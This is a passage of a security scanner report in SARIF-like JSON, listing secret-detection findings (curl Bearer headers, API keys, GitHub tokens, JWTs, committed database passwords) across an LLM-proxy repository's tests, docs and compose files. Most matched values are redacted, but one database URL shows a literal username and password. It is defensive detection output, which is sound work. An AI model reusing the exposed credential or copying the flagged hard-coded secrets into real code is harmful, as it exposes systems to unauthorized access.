"credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|1|curl -ss -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 19}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113435, "scanner": "gitleaks", "fingerprint": "1e2a14a68414de014b8df9f74285450a39111a2bbdc6b99b4f415ae0c9d5a0c2", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -s -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|1|curl -s -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inspector/parser_flags_test.go"}, "region": {"startLine": 18}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113434, "scanner": "gitleaks", "fingerprint": "d2cd6282c95fb8a6d9788e81606ff5d04929ac4b4bbdd2fa0f5c7d4b5ce4d458", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|27|curl -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/control_test.go"}, "region": {"startLine": 276}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113433, "scanner": "gitleaks", "fingerprint": "8d63d76d36104c5219714f83060658ff1ff011022ca287886bec599bbc9ee59a", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|60|curl -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/audit_test.go"}, "region": {"startLine": 603}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113432, "scanner": "gitleaks", "fingerprint": "a257a741d11f17650e74744cfc29fb40020433190c6acebb67155502dbe7514f", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "nextPageToken\":\"<redacted>\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|42|nextpagetoken : redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/intent/extractor.go"}, "region": {"startLine": 426}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113431, "scanner": "gitleaks", "fingerprint": "924ef34ce109f12eed409f7cacf60a78ab01015989840bb5f2dee2469dc0974b", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "rawSecret :<redacted> \"REDACTED\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|123|rawsecret : redacted redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/llm_endpoint_test.go"}, "region": {"startLine": 1233}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113430, "scanner": "gitleaks", "fingerprint": "66d6460cbee892d0a5b51972300298cc54b01e49160ef030ed14abe7680f8b1e", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "rawSecret :<redacted> \"REDACTED\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|112|rawsecret : redacted redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/llm_endpoint_test.go"}, "region": {"startLine": 1129}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113429, "scanner": "gitleaks", "fingerprint": "0fa8c515fd133aec645f38ed5f67f90ee9cf23c9dcbf944ff4e9cc17ba23375d", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "rawSecret :<redacted> \"REDACTED\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|55|rawsecret : redacted redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/llm_endpoint_test.go"}, "region": {"startLine": 558}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113428, "scanner": "gitleaks", "fingerprint": "8fbe780f22a18514ad6253dc331fa34f9395007cba9a6b9649c2844a86815e27", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "rawSecret :<redacted> \"REDACTED\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|52|rawsecret : redacted redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/llm_endpoint_test.go"}, "region": {"startLine": 522}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113427, "scanner": "gitleaks", "fingerprint": "d55ca38da7a6f9f283ddc787be0b9c8d26d3d4cec1441478ad39e3d5f27a6426", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "rawSecret :<redacted> \"REDACTED\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|45|rawsecret : redacted redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/llm_endpoint_test.go"}, "region": {"startLine": 454}}}]}, {"ruleId": "github-pat", "level": "error", "message": {"text": "Uncovered a GitHub Personal Access Token, potentially leading to unauthorized repository access and sensitive content exposure."}, "properties": {"repobilityId": 113426, "scanner": "gitleaks", "fingerprint": "4edbab9b7dbf078fee7410059d932b6c66685cf6ee7d62afb1357737fe3ed6e3", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "REDACTED", "rule_id": "github-pat", "scanner": "gitleaks", "detector": "github-pat", "correlation_key": "secret|token|128|redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/llm_endpoint_test.go"}, "region": {"startLine": 1289}}}]}, {"ruleId": "github-pat", "level": "error", "message": {"text": "Uncovered a GitHub Personal Access Token, potentially leading to unauthorized repository access and sensitive content exposure."}, "properties": {"repobilityId": 113425, "scanner": "gitleaks", "fingerprint": "08699d04ea4515f4e191e9734e4aabb049c0c0ad42f6c03d6902b1b3599c4da5", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "REDACTED", "rule_id": "github-pat", "scanner": "gitleaks", "detector": "github-pat", "correlation_key": "secret|token|123|redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/llm_endpoint_test.go"}, "region": {"startLine": 1233}}}]}, {"ruleId": "github-pat", "level": "error", "message": {"text": "Uncovered a GitHub Personal Access Token, potentially leading to unauthorized repository access and sensitive content exposure."}, "properties": {"repobilityId": 113424, "scanner": "gitleaks", "fingerprint": "fb5d2ebb48f2bc2d3a31615ee3ba25c8c8a880fb207bca22927a1fb9722ee363", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "REDACTED", "rule_id": "github-pat", "scanner": "gitleaks", "detector": "github-pat", "correlation_key": "secret|token|55|redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/llm_endpoint_test.go"}, "region": {"startLine": 558}}}]}, {"ruleId": "github-pat", "level": "error", "message": {"text": "Uncovered a GitHub Personal Access Token, potentially leading to unauthorized repository access and sensitive content exposure."}, "properties": {"repobilityId": 113423, "scanner": "gitleaks", "fingerprint": "a19b38e8106b24a0df1d09486d5d2f6d9432968ce39044b5faed439519fe76a7", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "REDACTED", "rule_id": "github-pat", "scanner": "gitleaks", "detector": "github-pat", "correlation_key": "secret|token|52|redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/llm_endpoint_test.go"}, "region": {"startLine": 522}}}]}, {"ruleId": "github-pat", "level": "error", "message": {"text": "Uncovered a GitHub Personal Access Token, potentially leading to unauthorized repository access and sensitive content exposure."}, "properties": {"repobilityId": 113422, "scanner": "gitleaks", "fingerprint": "e65f3df4d7e76dc7132f20d28b533c9a138a07f004ac4393f0faf01b7beaa7bf", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "REDACTED", "rule_id": "github-pat", "scanner": "gitleaks", "detector": "github-pat", "correlation_key": "secret|token|45|redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/llm_endpoint_test.go"}, "region": {"startLine": 454}}}]}, {"ruleId": "jwt", "level": "error", "message": {"text": "Uncovered a JSON Web Token, which may lead to unauthorized access to web applications and sensitive user data."}, "properties": {"repobilityId": 113421, "scanner": "gitleaks", "fingerprint": "49aef5d701b236303febed7e8ed80f8269356103e3240953704c8f2828176bdb", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "REDACTED\"", "rule_id": "jwt", "scanner": "gitleaks", "detector": "jwt", "correlation_key": "secret|token|36|redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/intent/testdata/extract_eval_cases.json"}, "region": {"startLine": 369}}}]}, {"ruleId": "jwt", "level": "error", "message": {"text": "Uncovered a JSON Web Token, which may lead to unauthorized access to web applications and sensitive user data."}, "properties": {"repobilityId": 113420, "scanner": "gitleaks", "fingerprint": "1296f1c187c9b3b5f3d9cc56a45d0db8ec52ca78ab3c7c1acfffd502afd74b3e", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "REDACTED\"", "rule_id": "jwt", "scanner": "gitleaks", "detector": "jwt", "correlation_key": "secret|token|35|redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/intent/testdata/extract_eval_cases.json"}, "region": {"startLine": 357}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113419, "scanner": "gitleaks", "fingerprint": "c730f73cd59caef3875f7395eebd78985618ddaa5fd76bfd96e8f4732cc19690", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "prompt_cache_key\": \"REDACTED\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|5|prompt_cache_key : redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/conversation/conversation_id_test.go"}, "region": {"startLine": 55}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113418, "scanner": "gitleaks", "fingerprint": "0db1192f052f64689a406c198e1d3e8a7b0281c108881f6f58facfd2d3454c50", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "EnvAPIKey = \"<redacted>\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|2|envapikey redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/roles/anthropic.go"}, "region": {"startLine": 27}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113417, "scanner": "gitleaks", "fingerprint": "727200f85df90e0da65374c3792432becac3d79abf7a03ca20a1730acce129e3", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "EnvAnthropicKeyLegacy = \"REDACTED\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|3|envanthropickeylegacy redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/harness.go"}, "region": {"startLine": 32}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113416, "scanner": "gitleaks", "fingerprint": "c7b6c0c134d34f5ad397e4cfc04cc7355d381753c97e4cac28204d1ac99a6ea2", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "ANTHROPIC_AUTH_TOKEN= <redacted>", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|57|anthropic_auth_token redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/installer.go"}, "region": {"startLine": 571}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113415, "scanner": "gitleaks", "fingerprint": "e2851904b7b890003cd838f6231f6197404a3885b0758a9de6d45daadcc590ae", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "token\",\n\t\t\"REDACTED\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|9|token redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/installer_test.go"}, "region": {"startLine": 92}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113414, "scanner": "gitleaks", "fingerprint": "11bb6411b767a27a4b6dfaabcac810fe15873c0a7523eb230721f028f50ae0f6", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "token\": \"<redacted>\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|47|token : redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/smoke/testserver_test.go"}, "region": {"startLine": 475}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113413, "scanner": "gitleaks", "fingerprint": "445389d736f498b48a88177739e86cbbc9f1468b3312a276b270be50c4f39e11", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS https://daemon.example/api/proxy/user \\\n     -H \"Authorization: Bearer <redacted>\"", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|docs/lite_proxy.md|17|curl -ss token -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "docs/LITE_PROXY.md"}, "region": {"startLine": 177}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113412, "scanner": "gitleaks", "fingerprint": "7a8e3fa7fe40d255fd50c233de3d6b488cc92a6783aa8ff090ebd86ad69bfbea", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS https://api.github.com/user \\\n  -H \"Authorization: Bearer <redacted>\"", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|docs/lite_proxy.md|16|curl -ss https://api.github.com/user -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "docs/LITE_PROXY.md"}, "region": {"startLine": 164}}}]}, {"ruleId": "DKC007", "level": "error", "message": {"text": "Compose service contains a literal secret environment value"}, "properties": {"repobilityId": 113409, "scanner": "repobility-docker", "fingerprint": "3266fbc81ad5b72034fc12b8a5a7a107af7228c5e47c1a77198ce476023a2f18", "category": "docker", "severity": "critical", "confidence": 0.96, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Environment variable name is secret-like and value is a committed literal.", "evidence": {"rule_id": "DKC007", "scanner": "repobility-docker", "service": "mysql", "variable": "MYSQL_ROOT_PASSWORD", "references": ["https://docs.docker.com/compose/how-tos/environment-variables/best-practices/", "https://docs.docker.com/reference/compose-file/secrets/"], "path_context": "runtime", "correlation_key": "fp|3266fbc81ad5b72034fc12b8a5a7a107af7228c5e47c1a77198ce476023a2f18", "compose_secrets_declared": false}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/sql/testdata/docker-compose.yml"}, "region": {"startLine": 15}}}]}, {"ruleId": "DKC007", "level": "error", "message": {"text": "Compose service contains a literal secret environment value"}, "properties": {"repobilityId": 113406, "scanner": "repobility-docker", "fingerprint": "b34329ee83f3c9d045ea6d72691fcfdd5c4f7d12309e4e23d38a061a3e78bc2a", "category": "docker", "severity": "critical", "confidence": 0.96, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Environment variable name is secret-like and value is a committed literal.", "evidence": {"rule_id": "DKC007", "scanner": "repobility-docker", "service": "postgres", "variable": "POSTGRES_PASSWORD", "references": ["https://docs.docker.com/compose/how-tos/environment-variables/best-practices/", "https://docs.docker.com/reference/compose-file/secrets/"], "path_context": "runtime", "correlation_key": "fp|b34329ee83f3c9d045ea6d72691fcfdd5c4f7d12309e4e23d38a061a3e78bc2a", "compose_secrets_declared": false}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/sql/testdata/docker-compose.yml"}, "region": {"startLine": 1}}}]}, {"ruleId": "DKC007", "level": "error", "message": {"text": "Compose service contains a literal secret environment value"}, "properties": {"repobilityId": 113403, "scanner": "repobility-docker", "fingerprint": "ced9806c6666c8cd821bc50d3fc8ffd0f09de27dd61555e451e7e92b529c5ae3", "category": "docker", "severity": "critical", "confidence": 0.96, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Environment variable name is secret-like and value is a committed literal.", "evidence": {"rule_id": "DKC007", "scanner": "repobility-docker", "service": "postgres", "variable": "POSTGRES_PASSWORD", "references": ["https://docs.docker.com/compose/how-tos/environment-variables/best-practices/", "https://docs.docker.com/reference/compose-file/secrets/"], "path_context": "runtime", "correlation_key": "fp|ced9806c6666c8cd821bc50d3fc8ffd0f09de27dd61555e451e7e92b529c5ae3", "compose_secrets_declared": false}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "deploy/docker-compose.yml"}, "region": {"startLine": 3}}}]}, {"ruleId": "MINED013", "level": "error", "message": {"text": "[MINED013] Password In Url: https://user:password@host \u2014 leaks creds via logs, referrer, error messages."}, "properties": {"repobilityId": 113324, "scanner": "repobility-threat-engine", "fingerprint": "6cdc80f90b806bc9572aa844e7a04821da84cc12144323a96733d476ba4a1b6d", "category": "quality", "severity": "critical", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "password-in-url", "owasp": "A07:2021", "cwe_ids": ["CWE-200"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.347928+00:00", "triaged_in_corpus": 20, "observations_count": 121646, "ai_coder_pattern_id": 37}, "scanner": "repobility-threat-engine", "correlation_key": "fp|6cdc80f90b806bc9572aa844e7a04821da84cc12144323a96733d476ba4a1b6d"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "deploy/docker-compose.yml"}, "region": {"startLine": 28}}}]}, {"ruleId": "SEC022", "level": "error", "message": {"text": "[SEC022] Database URL With Embedded Credential: A database connection URL contains an embedded username and password. These URLs are often copied into defaults, docs, and scripts, then leak working credentials."}, "properties": {"repobilityId": 113323, "scanner": "repobility-threat-engine", "fingerprint": "d8c1c4c3da78f95e2921d512e8e794960081be76b00d55e74c5f5fc71819714a", "category": "credential_exposure", "severity": "critical", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "postgres://clawvisor:clawvisor@", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC022", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "secret|deploy/docker-compose.yml|2|token"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "deploy/docker-compose.yml"}, "region": {"startLine": 28}}}]}]}]}